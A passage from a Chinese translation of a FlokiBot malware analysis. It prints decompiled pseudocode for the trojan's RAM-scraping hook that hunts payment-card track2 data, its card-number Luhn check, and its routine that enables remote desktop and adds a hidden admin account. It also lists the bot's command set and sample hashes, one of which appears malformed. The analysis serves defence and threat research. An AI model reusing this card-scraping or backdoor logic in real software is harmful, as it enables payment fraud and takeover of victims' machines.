int __stdcall hook_NtFreeVirtualMemory_wrap(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG FreeType)
{
PVOID v4; // ebx@1
int v5; // edi@3
RtlEnterCriticalSection_wrap(&unk_41E6E8);
v4 = 0;
if ( BaseAddress )
v4 = *BaseAddress;
v5 = NtFreeVirtualMemory_wrap(ProcessHandle, BaseAddress, RegionSize, FreeType);
if ( v5 >= 0 && !dword_41E6A8 && ProcessHandle == (HANDLE)-1 && cstm_WaitForSingleObject() )
trigger_ram_scraping((int)v4);
RtlLeaveCriticalSection_wrap(&unk_41E6E8);
return v5;
}
当Floki发现track2数据,它就会通过查看PAN的开头来确定发行方。在这个饱含信息量的网页,你可以找到一系列发行方的识别号:
http://www.stevemorse.org/ssn/List_of_Bank_Identification_Numbers.html.
Floki并没有查看整个IIN (6 位),而是只检查了第一位看它是否符合下面的发行方:
3: Amex / Dinners / JP
4:VISA
5:Mastercard
6: Discover
FlokiBot identify_mii 流程:
然后,它根据Luhn算法查看PAN是否有效:
char __usercall check_mii_luhn@<al>(void *a1@<ecx>, _BYTE *a2@<esi>)
{
char result; // al@1
[...]
result = identify_mii(*a2, a1);
if ( result )
{
v7 = 0; v3 = 1; v8 = 2;
v9 = 4; v10 = 6; v11 = 8;
v12 = 1; v13 = 3; v14 = 5;
v15 = 7; v16 = 9; v4 = 0; v5 = 16;
do // Luhn Algorithm
{
v6 = a2[--v5] - '0';
if ( !v3 )
v6 = *(&v7 + v6);
v4 += v6;
v3 = v3 == 0;
}
while ( v5 );
result = v4 % 10 == 0;
}
return result;
}
通讯
通讯是用RC4和异或混合加密的。我们用来去混淆字符串的代码可以帮我们识别下面这些明确命名的命令行:
user_flashplayer_remove
user_flashplayer_get
user_homepage_setuser_url_unblock
user_url_block
user_certs_remove
user_certs_get
user_cookies_remove
user_cookies_get
user_execute
user_logoff
user_destroy
fs_search_remove
fs_search_add
fs_path_get
bot_ddos_stop
bot_ddos_start
bot_httpinject_enablebot_httpinject_disablebot_bc_remove
bot_bc_add
bot_update_exe
bot_update
bot_uninstall
os_reboot
os_shutdown
现在FlokiBot还没有只是TOR,但你可以在代码中找到这个特征的一些痕迹。
激活远程桌面协议(RDP)
这个payload想要通过寄存器来手动激活远程Windows桌面,然后执行控制台命令行添加一个隐形的管理员账号test_account:test_password 。
enable_remote_desktop 函数的伪码:
void enable_remote_desktop()
{
signed int v0; // eax@3
int v1; // [sp+0h] [bp-Ch]@2
int v2; // [sp+4h] [bp-8h]@2
int v3; // [sp+8h] [bp-4h]@2
if ( byte_41E43C ) {
v2 = 0;
v1 = 4;
v3 = 0x80000002;
if ( RegOpenKeyExW_wrap(0x80000002, L"SYSTEM\\CurrentControlSet\\Control\\Terminal Server", 0, 1, &v3) )
v0 = -1;
else
v0 = cstm_RegQueryValueExW(&v3, (int)L"fDenyTSConnections", (int)&v1, (int)&v2, 4);
if ( v0 != -1 ) {
if ( v2 ) {
v3 = 0; // 0 = Enables remote desktop connections
cstm_RegSetValueExW(
0x80000002,
(int)L"SYSTEM\\CurrentControlSet\\Control\\Terminal Server",
(int)L"fDenyTSConnections",
4,
(int)&v3,
4);
}
}
}
}
自从ATS这种方式因为太复杂而不能编程以及太难部署后,使用远程桌面进行网络犯罪成为了新的方式。通过这种方式,它们可以获取被感染的电脑的所有权限,从而获得目标的信息,并执行欺诈任务,例如手动转移钱财。
最后需要注意的和哈希值
FlokiBot是又一基于ZeuS的恶意软件,有些代码甚至是直接从Carberp拿来的。虽然如此,它的解除挂钩操作和PoS恶意软件特征都很有趣,值得分析。而且,它的混淆技术很简单,可以不用AppCall,只用IDA脚本就可以进行静态分析。
针对最近的FlokiBot样本,@v0id_hunter 上传了了下面这些SHA256.
23E8B7D0F9C7391825677C3F13FD2642885F6134636E475A3924BA5BDD1D4852
997841515222dbfa65d1aea79e9e6a89a0142819eaeec3467c31fa169e57076a
f778ca5942d3b762367be1fd85cf7add557d26794fad187c4511b3318aff5cfd
7d97008b00756905195e9fc008bee7c1b398a940e00b0bd4c56920c875f28bfe
dc21527bd925a7dc95b84167c162747069feb2f4e2c1645661a27e63dff8c326
7e4b2edf01e577599d3a2022866512d7dd9d2da7846b8d3eb8cea7507fb6c92afc391f843b265e60de2f44f108b34e64c358f8362507a8c6e2e4c8c689fcdf67
943daa88fe4b5930cc627f14bf422def6bab6d738a4cafd3196f71f1b7c72539
bbe8394eb3b752741df0b30e1d1487eeda7e94e0223055771311939d27d52f78
6c479da2e2cc296c18f21ddecc787562f600088bd37cc2154c467b0af2621937
01aab8341e1ef1a8305cf458db714a0392016432c192332e1cd9f7479507027f
06dcf3dc4eab45c7bd5794aafe4d3f72bb75bcfb36bdbf2ba010a5d108b096dc
daf7d349b1b12d9cf2014384a70d5826ca3be6d05df13f7cb1af5b5f5db68d54
24f56ba4d779b913fefed80127e9243303307728ebec85bdb5a61adc50df9eb6
a65e79bdf971631d2097b18e43af9c25f007ae9c5baaa9bda1c470af20e1347c
a47e6fab82ac654332f4e56efcc514cb2b45c5a126b9ffcd2c84a842fb0283a2
07c25eebdbd16f176d0907e656224d6a4091eb000419823f989b387b407bfd29
3c0f18157f30414bcfed7a138066bc25ef44a24c5f1e56abb0e2ab5617a91000
fb836d9897f3e8b1a59ebc00f59486f4c7aec526a9e83b171fd3e8657aadd1a1
966804ac9bc376bede3e1432e5800dd2188decd22c358e6f913fbaaaa5a6114d
296c738805040b5b02eae3cc2b114c27b4fb73fa58bc877b12927492c038e27c
61244d5f47bb442a32c99c9370b53ff9fc2ecb200494c144e8b55069bc2fa166
cae95953c7c4c8219325074addc9432dee640023d18fa08341bf209a42352d7d
a0400125d98f63feecac6cb4c47ed2e0027bd89c111981ea702f767a6ce2ef75
1f5e663882fa6c96eb6aa952b6fa45542c2151d6a9191c1d5d1deb9e814e5a50
912d54589b28ee822c0442b664b2a9f05055ea445c0ec28f3352b227dc6aa2db
691afe0547bd0ab6c955a8ec93febecc298e78342f78b3dd1c8242948c051de6
c9bf4443135c080fb81ab79910c9cfb2d36d1027c7bf3e29ee2b194168a463a7
5383e18c66271b210f93bee8cc145b823786637b2b8660bb32475dbe600be46e
d96e5a74da7f9b204f3dfad6d33d2ab29f860f77f5348487f4ef5276f4262311
感谢阅读。
原文链接:http://adelmas.com/blog/flokibot.php
本文由 看雪翻译小组 lumou 编译
[课程]Android-CTF解题方法汇总!